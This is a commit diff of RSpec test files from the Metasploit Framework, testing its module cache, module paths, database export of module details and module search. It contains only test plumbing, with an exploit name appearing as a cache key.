subject.send(:module_info_by_path)[module_path] = {
|
||||
:modification_time => cached_modification_time
|
||||
}
|
||||
|
||||
cached_modification_time.should == modification_time
|
||||
subject.file_changed?(module_path).should be_false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
it_should_behave_like 'Msf::ModuleManager::Cache'
|
||||
it_should_behave_like 'Msf::ModuleManager::Loading'
|
||||
it_should_behave_like 'Msf::ModuleManager::ModulePaths'
|
||||
end
|
|
@ -1168,11 +1168,11 @@ describe Msf::Modules::Loader::Base do
|
|||
it 'should do nothing if parent_module is nil' do
|
||||
parent_module = nil
|
||||
|
||||
allow_message_expectations_on_nil
|
||||
parent_module.should_not_receive(:remove_const)
|
||||
parent_module.should_not_receive(:const_set)
|
||||
|
||||
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
|
||||
# can check that NoMethodError is not raised because *const* methods are
|
||||
# not defined on `nil`.
|
||||
expect {
|
||||
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
|
||||
}.to_not raise_error(NoMethodError)
|
||||
end
|
||||
|
||||
context 'with namespace_module nil' do
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
require 'spec_helper'
|
||||
|
||||
require 'msf/core/db_export'
|
||||
|
||||
describe Msf::DBManager::Export do
|
||||
include_context 'Msf::DBManager'
|
||||
|
||||
subject(:export) do
|
||||
described_class.new(workspace)
|
||||
end
|
||||
|
||||
let(:active) do
|
||||
true
|
||||
end
|
||||
|
||||
let(:workspace) do
|
||||
FactoryGirl.create(
|
||||
:mdm_workspace
|
||||
)
|
||||
end
|
||||
|
||||
context '#extract_module_detail_info' do
|
||||
let(:report_file) do
|
||||
StringIO.new
|
||||
end
|
||||
|
||||
subject(:extract_module_detail_info) do
|
||||
export.extract_module_detail_info(report_file)
|
||||
end
|
||||
|
||||
context 'with Mdm::Module::Details' do
|
||||
let(:document) do
|
||||
Nokogiri::XML(report_file.string)
|
||||
end
|
||||
|
||||
let(:module_detail_count) do
|
||||
2
|
||||
end
|
||||
|
||||
let(:root) do
|
||||
document.root
|
||||
end
|
||||
|
||||
let!(:module_details) do
|
||||
FactoryGirl.create_list(
|
||||
:mdm_module_detail,
|
||||
module_detail_count
|
||||
)
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
report_file.write("<root>")
|
||||
extract_module_detail_info
|
||||
report_file.write("</root>")
|
||||
end
|
||||
|
||||
it 'should have module_detail tag for each Mdm::Module::Detail' do
|
||||
nodes = root.xpath('module_detail')
|
||||
|
||||
nodes.length.should == module_detail_count
|
||||
end
|
||||
|
||||
context 'module_detail' do
|
||||
let(:module_detail) do
|
||||
module_details.first
|
||||
end
|
||||
|
||||
subject(:module_detail_node) do
|
||||
root.at_xpath('module_detail')
|
||||
end
|
||||
|
||||
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'description'
|
||||
|
||||
context '/disclosure-date' do
|
||||
it 'should have Mdm::Module::Detail#disclosure_date present' do
|
||||
module_detail.disclosure_date.should be_present
|
||||
end
|
||||
|
||||
it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do
|
||||
node = module_detail_node.at_xpath('disclosure-date')
|
||||
|
||||
Date.parse(node.content).should == module_detail.disclosure_date
|
||||
end
|
||||
end
|
||||
|
||||
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'file'
|
||||
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'fullname'
|
||||
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'license'
|
||||
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtime'
|
||||
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtype'
|
||||
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'name'
|
||||
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'privileged'
|
||||
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'rank'
|
||||
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'refname'
|
||||
|
||||
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||
end
|
||||
end
|
||||
|
||||
context 'without Mdm::Module::Details' do
|
||||
it 'should not write anything to report_file' do
|
||||
extract_module_detail_info
|
||||
|
||||
report_file.string.should be_empty
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,107 @@
|
|||
require 'spec_helper'
|
||||
|
||||
require 'msf/ui'
|
||||
require 'msf/ui/console/module_command_dispatcher'
|
||||
require 'msf/ui/console/command_dispatcher/core'
|
||||
|
||||
describe Msf::Ui::Console::CommandDispatcher::Core do
|
||||
include_context 'Msf::DBManager'
|
||||
|
||||
let(:driver) do
|
||||
mock(
|
||||
'Driver',
|
||||
:framework => framework
|
||||
).tap { |driver|
|
||||
driver.stub(:on_command_proc=).with(kind_of(Proc))
|
||||
driver.stub(:print_line).with(kind_of(String))
|
||||
}
|
||||
end
|
||||
|
||||
subject(:core) do
|
||||
described_class.new(driver)
|
||||
end
|
||||
|
||||
context '#search_modules_sql' do
|
||||
def search_modules_sql
|
||||
core.search_modules_sql(match)
|
||||
end
|
||||
|
||||
let(:match) do
|
||||
''
|
||||
end
|
||||
|
||||
it 'should generate Matching Modules table' do
|
||||
core.should_receive(:generate_module_table).with('Matching Modules').and_call_original
|
||||
|
||||
search_modules_sql
|
||||
end
|
||||
|
||||
it 'should call Msf::DBManager#search_modules' do
|
||||
db_manager.should_receive(:search_modules).with(match).and_return([])
|
||||
|
||||
search_modules_sql
|
||||
end
|
||||
|
||||
context 'with matching Mdm::Module::Details' do
|
||||
let(:match) do
|
||||
module_detail.fullname
|
||||
end
|
||||
|
||||
let!(:module_detail) do
|
||||
FactoryGirl.create(:mdm_module_detail)
|
||||
end
|
||||
|
||||
context 'printed table' do
|
||||
def cell(table, row, column)
|
||||
row_line_number = 6 + row
|
||||
line_number = 0
|
||||
|
||||
cell = nil
|
||||
|
||||
table.each_line do |line|
|
||||
if line_number == row_line_number
|
||||
# strip prefix and postfix
|
||||
padded_cells = line[3...-1]
|
||||
cells = padded_cells.split(/\s{2,}/)
|
||||
|
||||
cell = cells[column]
|
||||
break
|
||||
end
|
||||
|
||||
line_number += 1
|
||||
end
|
||||
|
||||
cell
|
||||
end
|
||||
|
||||
let(:printed_table) do
|
||||
table = ''
|
||||
|
||||
core.stub(:print_line) do |string|
|
||||
table = string
|
||||
end
|
||||
|
||||
search_modules_sql
|
||||
|
||||
table
|
||||
end
|
||||
|
||||
it 'should have fullname in first column' do
|
||||
cell(printed_table, 0, 0).should include(module_detail.fullname)
|
||||
end
|
||||
|
||||
it 'should have disclosure date in second column' do
|
||||
cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s)
|
||||
end
|
||||
|
||||
it 'should have rank name in third column' do
|
||||
cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank])
|
||||
end
|
||||
|
||||
it 'should have name in fourth column' do
|
||||
cell(printed_table, 0, 3).should include(module_detail.name)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,3 +1,5 @@
|
|||
require 'metasploit/framework/database'
|
||||
|
||||
shared_context 'DatabaseCleaner' do
|
||||
def with_established_connection
|
||||
begin
|
||||
|
|
|
@ -0,0 +1,23 @@
|
|||
shared_context 'Msf::DBManager' do
|
||||
include_context 'DatabaseCleaner'
|
||||
include_context 'Msf::Simple::Framework'
|
||||
|
||||
let(:active) do
|
||||
true
|
||||
end
|
||||
|
||||
let(:db_manager) do
|
||||
framework.db
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
configurations = Metasploit::Framework::Database.configurations
|
||||
spec = configurations[Metasploit::Framework.env]
|
||||
|
||||
# Need to connect or ActiveRecord::Base.connection_pool will raise an
|
||||
# error.
|
||||
db_manager.connect(spec)
|
||||
|
||||
db_manager.stub(:active => active)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,23 @@
|
|||
shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_detail child' do |child_node_name|
|
||||
attribute_name = child_node_name.underscore
|
||||
|
||||
subject(:child_node) do
|
||||
module_detail_node.at_xpath(child_node_name)
|
||||
end
|
||||
|
||||
let(:attribute) do
|
||||
module_detail.send(attribute_name)
|
||||
end
|
||||
|
||||
it "should not have Mdm::Module::Detail##{attribute_name} nil" do
|
||||
attribute.should_not be_nil
|
||||
end
|
||||
|
||||
it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do
|
||||
if attribute == false
|
||||
child_node.content.should be_blank
|
||||
else
|
||||
child_node.content.should == attribute.to_s
|
||||
end
|
||||
end
|
||||
end
|
|
@ -83,15 +83,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do
|
|||
Builder::XmlMarkup.new(:indent => 2)
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
configurations = Metasploit::Framework::Database.configurations
|
||||
spec = configurations[Metasploit::Framework.env]
|
||||
|
||||
# Need to connect or Msf::DBManager#active will be false and
|
||||
# Msf::DBManager#report_* methods won't create any records.
|
||||
db_manager.connect(spec)
|
||||
end
|
||||
|
||||
it 'should include methods from module so method can be overridden easier in pro' do
|
||||
db_manager.should be_a Msf::DBManager::ImportMsfXml
|
||||
end
|
||||
|
|
|
@ -0,0 +1,49 @@
|
|||
shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword' do |keyword|
|
||||
context "with #{keyword} keyword" do
|
||||
let(:search_string) do
|
||||
"#{keyword}:#{name}"
|
||||
end
|
||||
|
||||
let!(:module_platform) do
|
||||
FactoryGirl.create(:mdm_module_platform)
|
||||
end
|
||||
|
||||
let!(:module_target) do
|
||||
FactoryGirl.create(:mdm_module_target)
|
||||
end
|
||||
|
||||
context 'with Mdm::Module::Platform#name' do
|
||||
let(:name) do
|
||||
# use inspect to quote spaces in string
|
||||
module_platform.name.inspect
|
||||
end
|
||||
|
||||
it 'should find matching Mdm::Module::Platform#name' do
|
||||
module_details.count.should > 0
|
||||
|
||||
module_details.all? { |module_detail|
|
||||
module_detail.platforms.any? { |module_platform|
|
||||
module_platform.name == self.module_platform.name
|
||||
}
|
||||
}.should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'with Mdm::Module::Target#name' do
|
||||
let(:name) do
|
||||
# use inspect to quote spaces in string
|
||||
module_target.name.inspect
|
||||
end
|
||||
|
||||
it 'should find matching Mdm::Module::Target#name' do
|
||||
module_details.count.should > 0
|
||||
|
||||
module_details.all? { |module_detail|
|
||||
module_detail.targets.any? { |module_target|
|
||||
module_target.name == self.module_target.name
|
||||
}
|
||||
}.should be_true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,44 @@
|
|||
shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword' do |keyword|
|
||||
context "with #{keyword} keyword" do
|
||||
let(keyword) do
|
||||
1
|
||||
end
|
||||
|
||||
let(:name) do
|
||||
FactoryGirl.generate :mdm_module_ref_name
|
||||
end
|
||||
|
||||
let(:search_string) do
|
||||
"#{keyword}:#{send(keyword)}"
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
FactoryGirl.create(:mdm_module_ref, :name => name)
|
||||
end
|
||||
|
||||
name_prefix = "#{keyword.to_s.upcase}-"
|
||||
context_suffix = "Mdm::Module::Ref#name starting with #{name_prefix.inspect}"
|
||||
|
||||
context "with #{context_suffix}" do
|
||||
let(:name) do
|
||||
"#{name_prefix}#{send(keyword)}"
|
||||
end
|
||||
|
||||
it 'should match Mdm::Module::Ref#name' do
|
||||
module_details.count.should > 0
|
||||
|
||||
module_details.all? { |module_detail|
|
||||
module_detail.refs.any? { |module_ref|
|
||||
module_ref.name == name
|
||||
}
|
||||
}.should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context "without #{context_suffix}" do
|
||||
it 'should not match Mdm::Module::Ref#name' do
|
||||
module_details.count.should == 0
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,60 @@
|
|||
shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do
|
||||
|
||||
it 'should destroy Mdm::Module::Detail' do
|
||||
expect {
|
||||
update_all_module_details
|
||||
}.to change(Mdm::Module::Detail, :count).by(-1)
|
||||
end
|
||||
|
||||
context 'with cached module in Msf::ModuleSet' do
|
||||
let(:module_set) do
|
||||
framework.exploits
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
module_set[module_detail.refname] = Msf::SymbolicModule
|
||||
|
||||
framework.modules.send(:module_info_by_path)[module_detail.file] = {
|
||||
:parent_path => Metasploit::Framework.root.join('modules').to_path,
|
||||
:reference_name => module_detail.refname,
|
||||
:type => type
|
||||
}
|
||||
end
|
||||
|
||||
it 'should create instance of module corresponding to Mdm::Module::Detail' do
|
||||
module_set.should_receive(:create).with(module_detail.refname)
|
||||
|
||||
update_all_module_details
|
||||
end
|
||||
|
||||
it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do
|
||||
db_manager.should_receive(:update_module_details) do |module_instance|
|
||||
module_instance.should be_a Msf::Module
|
||||
module_instance.type.should == module_detail.mtype
|
||||
module_instance.refname.should == module_detail.refname
|
||||
end
|
||||
|
||||
update_all_module_details
|
||||
end
|
||||
|
||||
context 'with exception raised by #update_module_details' do
|
||||
before(:each) do
|
||||
db_manager.stub(:update_module_details).and_raise(Exception)
|
||||
end
|
||||
|
||||
it 'should log error' do
|
||||
db_manager.should_receive(:elog)
|
||||
|
||||
update_all_module_details
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'without cached module in Msf::ModuleSet' do
|
||||
it 'should not call update_module_details' do
|
||||
db_manager.should_not_receive(:update_module_details)
|
||||
|
||||
update_all_module_details
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,407 @@
|
|||
shared_examples_for 'Msf::ModuleManager::Cache' do
|
||||
context '#cache_empty?' do
|
||||
subject(:cache_empty?) do
|
||||
module_manager.cache_empty?
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
module_manager.send(:module_info_by_path=, module_info_by_path)
|
||||
end
|
||||
|
||||
context 'with empty' do
|
||||
let(:module_info_by_path) do
|
||||
{}
|
||||
end
|
||||
|
||||
it { should be_true }
|
||||
end
|
||||
|
||||
context 'without empty' do
|
||||
let(:module_info_by_path) do
|
||||
{
|
||||
'path/to/module' => {}
|
||||
}
|
||||
end
|
||||
|
||||
it { should be_false }
|
||||
end
|
||||
end
|
||||
|
||||
context '#load_cached_module' do
|
||||
let(:parent_path) do
|
||||
Metasploit::Framework.root.join('modules').to_path
|
||||
end
|
||||
|
||||
let(:reference_name) do
|
||||
'windows/smb/ms08_067_netapi'
|
||||
end
|
||||
|
||||
let(:type) do
|
||||
'exploit'
|
||||
end
|
||||
|
||||
subject(:load_cached_module) do
|
||||
module_manager.load_cached_module(type, reference_name)
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
module_manager.send(:module_info_by_path=, module_info_by_path)
|
||||
end
|
||||
|
||||
context 'with module info in cache' do
|
||||
let(:module_info_by_path) do
|
||||
{
|
||||
'path/to/module' => {
|
||||
:parent_path => parent_path,
|
||||
:reference_name => reference_name,
|
||||
:type => type
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do
|
||||
module_manager.send(:loaders).each do |loader|
|
||||
loader.should_receive(:loadable?).with(parent_path).and_call_original
|
||||
end
|
||||
|
||||
load_cached_module
|
||||
end
|
||||
|
||||
it 'should force load using #load_module on the loader' do
|
||||
Msf::Modules::Loader::Directory.any_instance.should_receive(
|
||||
:load_module
|
||||
).with(
|
||||
parent_path,
|
||||
type,
|
||||
reference_name,
|
||||
:force => true
|
||||
).and_call_original
|
||||
|
||||
load_cached_module
|
||||
end
|
||||
|
||||
context 'return from load_module' do
|
||||
before(:each) do
|
||||
module_manager.send(:loaders).each do |loader|
|
||||
loader.stub(:load_module => module_loaded)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with false' do
|
||||
let(:module_loaded) do
|
||||
false
|
||||
end
|
||||
|
||||
it { should be_false }
|
||||
end
|
||||
|
||||
context 'with true' do
|
||||
let(:module_loaded) do
|
||||
true
|
||||
end
|
||||
|
||||
it { should be_true }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'without module info in cache' do
|
||||
let(:module_info_by_path) do
|
||||
{}
|
||||
end
|
||||
|
||||
it { should be_false }
|
||||
end
|
||||
end
|
||||
|
||||
context '#refresh_cache_from_module_files' do
|
||||
before(:each) do
|
||||
module_manager.stub(:framework_migrated? => framework_migrated?)
|
||||
end
|
||||
|
||||
context 'with framework migrated' do
|
||||
let(:framework_migrated?) do
|
||||
true
|
||||
end
|
||||
|
||||
context 'with module argument' do
|
||||
def refresh_cache_from_module_files
|
||||
module_manager.refresh_cache_from_module_files(module_class_or_instance)
|
||||
end
|
||||
|
||||
let(:module_class_or_instance) do
|
||||
Class.new(Msf::Module)
|
||||
end
|
||||
|
||||
it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do
|
||||
framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered
|
||||
module_manager.should_receive(:refresh_cache_from_database).ordered
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
end
|
||||
|
||||
context 'without module argument' do
|
||||
def refresh_cache_from_module_files
|
||||
module_manager.refresh_cache_from_module_files
|
||||
end
|
||||
|
||||
it 'should update database and then update in-memory cache from the database for all modules' do
|
||||
framework.db.should_receive(:update_all_module_details).ordered
|
||||
module_manager.should_receive(:refresh_cache_from_database)
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'without framework migrated' do
|
||||
def refresh_cache_from_module_files
|
||||
module_manager.refresh_cache_from_module_files
|
||||
end
|
||||
|
||||
let(:framework_migrated?) do
|
||||
false
|
||||
end
|
||||
|
||||
it 'should not call Msf::DBManager#update_module_details' do
|
||||
framework.db.should_not_receive(:update_module_details)
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
|
||||
it 'should not call Msf::DBManager#update_all_module_details' do
|
||||
framework.db.should_not_receive(:update_all_module_details)
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
|
||||
it 'should not call #refresh_cache_from_database' do
|
||||
module_manager.should_not_receive(:refresh_cache_from_database)
|
||||
|
||||
refresh_cache_from_module_files
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context '#refresh_cache_from_database' do
|
||||
def refresh_cache_from_database
|
||||
module_manager.refresh_cache_from_database
|
||||
end
|
||||
|
||||
it 'should call #module_info_by_path_from_database!' do
|
||||
module_manager.should_receive(:module_info_by_path_from_database!)
|
||||
|
||||
refresh_cache_from_database
|
||||
end
|
||||
end
|
||||
|
||||
context '#framework_migrated?' do
|
||||
subject(:framework_migrated?) do
|
||||
module_manager.send(:framework_migrated?)
|
||||
end
|
||||
|
||||
context 'with framework database' do
|
||||
before(:each) do
|
||||
framework.db.stub(:migrated => migrated)
|
||||
end
|
||||
|
||||
context 'with migrated' do
|
||||
let(:migrated) do
|
||||
true
|
||||
end
|
||||
|
||||
it { should be_true }
|
||||
end
|
||||
|
||||
context 'without migrated' do
|
||||
let(:migrated) do
|
||||
false
|
||||
end
|
||||
|
||||
it { should be_false }
|
||||
end
|
||||
end
|
||||
|
||||
context 'without framework database' do
|
||||
before(:each) do
|
||||
framework.stub(:db => nil)
|
||||
end
|
||||
|
||||
it { should be_false }
|
||||
end
|
||||
end
|
||||
|
||||
context '#module_info_by_path' do
|
||||
it { should respond_to(:module_info_by_path) }
|
||||
end
|
||||
|
||||
context '#module_info_by_path=' do
|
||||
it { should respond_to(:module_info_by_path=) }
|
||||
end
|
||||
|
||||
context '#module_info_by_path_from_database!' do
|
||||
def module_info_by_path
|
||||
module_manager.send(:module_info_by_path)
|
||||
end
|
||||
|
||||
def module_info_by_path_from_database!
|
||||
module_manager.send(:module_info_by_path_from_database!)
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
module_manager.stub(:framework_migrated? => framework_migrated?)
|
||||
end
|
||||
|
||||
context 'with framework migrated' do
|
||||
include_context 'DatabaseCleaner'
|
||||
|
||||
let(:framework_migrated?) do
|
||||
true
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
configurations = Metasploit::Framework::Database.configurations
|
||||
spec = configurations[Metasploit::Framework.env]
|
||||
|
||||
# Need to connect or ActiveRecord::Base.connection_pool will raise an
|
||||
# error.
|
||||
framework.db.connect(spec)
|
||||
end
|
||||
|
||||
it 'should call ActiveRecord::Base.connection_pool.with_connection' do
|
||||
# 1st is from with_established_connection
|
||||
# 2nd is from module_info_by_path_from_database!
|
||||
ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times
|
||||
|
||||
module_info_by_path_from_database!
|
||||
end
|
||||
|
||||
it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do
|
||||
Mdm::Module::Detail.should_receive(:find_each)
|
||||
|
||||
module_info_by_path_from_database!
|
||||
end
|
||||
|
||||
context 'with database cache' do
|
||||
let(:parent_path) do
|
||||
parent_pathname.to_path
|
||||
end
|
||||
|
||||
let(:parent_pathname) do
|
||||
Metasploit::Framework.root.join('modules')
|
||||
end
|
||||
|
||||
let(:path) do
|
||||
pathname.to_path
|
||||
end
|
||||
|
||||
let(:pathname) do
|
||||
parent_pathname.join(
|
||||
'exploits',
|
||||
"#{reference_name}.rb"
|
||||
)
|
||||
end
|
||||
|
||||
let(:pathname_modification_time) do
|
||||
pathname.mtime
|
||||
end
|
||||
|
||||
let(:type) do
|
||||
'exploit'
|
||||
end
|
||||
|
||||
let(:reference_name) do
|
||||
'windows/smb/ms08_067_netapi'
|
||||
end
|
||||
|
||||
#
|
||||
# Let!s (let + before(:each))
|
||||
#
|
||||
|
||||
let!(:mdm_module_detail) do
|
||||
FactoryGirl.create(:mdm_module_detail,
|
||||
:file => path,
|
||||
:mtype => type,
|
||||
:mtime => pathname.mtime,
|
||||
:refname => reference_name
|
||||
)
|
||||
end
|
||||
|
||||
it 'should create cache entry for path' do
|
||||
module_info_by_path_from_database!
|
||||
|
||||
module_info_by_path.should have_key(path)
|
||||
end
|
||||
|
||||
it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do
|
||||
Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original
|
||||
|
||||
module_info_by_path_from_database!
|
||||
end
|
||||
|
||||
context 'cache entry' do
|
||||
subject(:cache_entry) do
|
||||
module_info_by_path[path]
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
module_info_by_path_from_database!
|
||||
end
|
||||
|
||||
its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) }
|
||||
its([:parent_path]) { should == parent_path }
|
||||
its([:reference_name]) { should == reference_name }
|
||||
its([:type]) { should == type }
|
||||
end
|
||||
|
||||
context 'typed module set' do
|
||||
let(:typed_module_set) do
|
||||
module_manager.module_set(type)
|
||||
end
|
||||
|
||||
context 'with reference_name' do
|
||||
before(:each) do
|
||||
typed_module_set[reference_name] = mock('Msf::Module')
|
||||
end
|
||||
|
||||
it 'should not change reference_name value' do
|
||||
expect {
|
||||
module_info_by_path_from_database!
|
||||
}.to_not change {
|
||||
typed_module_set[reference_name]
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
context 'without reference_name' do
|
||||
it 'should set reference_name value to Msf::SymbolicModule' do
|
||||
module_info_by_path_from_database!
|
||||
|
||||
# have to use fetch because [] will trigger de-symbolization and
|
||||
# instantiation.
|
||||
typed_module_set.fetch(reference_name).should == Msf::SymbolicModule
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'without framework migrated' do
|
||||
let(:framework_migrated?) do
|
||||
false
|
||||
end
|
||||
|
||||
it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) }
|
||||
|
||||
it 'should reset #module_info_by_path' do
|
||||
# pre-fill module_info_by_path so change can be detected
|
||||
module_manager.send(:module_info_by_path=, mock('In-memory Cache'))
|
||||
|
||||
module_info_by_path_from_database!
|
||||
|
||||
module_info_by_path.should be_empty
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,79 @@
|
|||
shared_examples_for 'Msf::ModuleManager::Loading' do
|
||||
context '#file_changed?' do
|
||||
let(:module_basename) do
|
||||
[basename_prefix, '.rb']
|
||||
end
|
||||
|
||||
it 'should return true if module info is not cached' do
|
||||
Tempfile.open(module_basename) do |tempfile|
|
||||
module_path = tempfile.path
|
||||
|
||||
subject.send(:module_info_by_path)[module_path].should be_nil
|
||||
subject.file_changed?(module_path).should be_true
|
||||
end
|
||||
end
|
||||
|
||||
it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do
|
||||
Tempfile.open(module_basename) do |tempfile|
|
||||
module_path = tempfile.path
|
||||
modification_time = File.mtime(module_path)
|
||||
|
||||
subject.send(:module_info_by_path)[module_path] = {
|
||||
# :modification_time must match so that it is the :type that is causing the `true` and not the
|
||||
# :modification_time causing the `true`.
|
||||
:modification_time => modification_time,
|
||||
:type => Msf::MODULE_PAYLOAD
|
||||
}
|
||||
|
||||
subject.file_changed?(module_path).should be_true
|
||||
end
|
||||
end
|
||||
|
||||
context 'with cache module info and not a payload module' do
|
||||
it 'should return true if the file does not exist on the file system' do
|
||||
tempfile = Tempfile.new(module_basename)
|
||||
module_path = tempfile.path
|
||||
modification_time = File.mtime(module_path).to_i
|
||||
|
||||
subject.send(:module_info_by_path)[module_path] = {
|
||||
:modification_time => modification_time
|
||||
}
|
||||
|
||||
tempfile.unlink
|
||||
|
||||
File.exist?(module_path).should be_false
|
||||
subject.file_changed?(module_path).should be_true
|
||||
end
|
||||
|
||||
it 'should return true if modification time does not match the cached modification time' do
|
||||
Tempfile.open(module_basename) do |tempfile|
|
||||
module_path = tempfile.path
|
||||
modification_time = File.mtime(module_path).to_i
|
||||
cached_modification_time = (modification_time * rand).to_i
|
||||
|
||||
subject.send(:module_info_by_path)[module_path] = {
|
||||
:modification_time => cached_modification_time
|
||||
}
|
||||
|
||||
cached_modification_time.should_not == modification_time
|
||||
subject.file_changed?(module_path).should be_true
|
||||
end
|
||||
end
|
||||
|
||||
it 'should return false if modification time does match the cached modification time' do
|
||||
Tempfile.open(module_basename) do |tempfile|
|
||||
module_path = tempfile.path
|
||||
modification_time = File.mtime(module_path).to_i
|
||||
cached_modification_time = modification_time
|
||||
|
||||
subject.send(:module_info_by_path)[module_path] = {
|
||||
:modification_time => cached_modification_time
|
||||
}
|
||||
|
||||
cached_modification_time.should == modification_time
|
||||
subject.file_changed?(module_path).should be_false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,77 @@
|
|||
shared_examples_for 'Msf::ModuleManager::ModulePaths' do
|
||||
def module_paths
|
||||
module_manager.send(:module_paths)
|
||||
end
|
||||
|
||||
context '#add_module_path' do
|
||||
it 'should strip trailing File::SEPARATOR from the path' do
|
||||
Dir.mktmpdir do |path|
|
||||
path_with_trailing_separator = path + File::SEPARATOR
|
||||
module_manager.add_module_path(path_with_trailing_separator)
|
||||
|
||||
module_paths.should_not include(path_with_trailing_separator)
|
||||
module_paths.should include(path)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with Fastlib archive' do
|
||||
it 'should raise an ArgumentError unless the File exists' do
|
||||
file = Tempfile.new(archive_basename)
|
||||
# unlink will clear path, so copy it to a variable
|
||||
path = file.path
|
||||
file.unlink
|
||||
|
||||
File.exist?(path).should be_false
|
||||
|
||||
expect {
|
||||
module_manager.add_module_path(path)
|
||||
}.to raise_error(ArgumentError, "The path supplied does not exist")
|
||||
end
|
||||
|
||||
it 'should add the path to #module_paths if the File exists' do
|
||||
Tempfile.open(archive_basename) do |temporary_file|
|
||||
path = temporary_file.path
|
||||
|
||||
File.exist?(path).should be_true
|
||||
|
||||
module_manager.add_module_path(path)
|
||||
|
||||
module_paths.should include(path)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'with directory' do
|
||||
it 'should add path to #module_paths' do
|
||||
Dir.mktmpdir do |path|
|
||||
module_manager.add_module_path(path)
|
||||
|
||||
module_paths.should include(path)
|
||||
end
|
||||
end
|
||||
|
||||
context 'containing Fastlib archives' do
|
||||
it 'should add each Fastlib archive to #module_paths' do
|
||||
Dir.mktmpdir do |directory|
|
||||
Tempfile.open(archive_basename, directory) do |file|
|
||||
module_manager.add_module_path(directory)
|
||||
|
||||
module_paths.should include(directory)
|
||||
module_paths.should include(file.path)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'with other file' do
|
||||
it 'should raise ArgumentError' do
|
||||
Tempfile.open(basename_prefix) do |file|
|
||||
expect {
|
||||
subject.add_module_path(file.path)
|
||||
}.to raise_error(ArgumentError, 'The path supplied is not a valid directory.')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue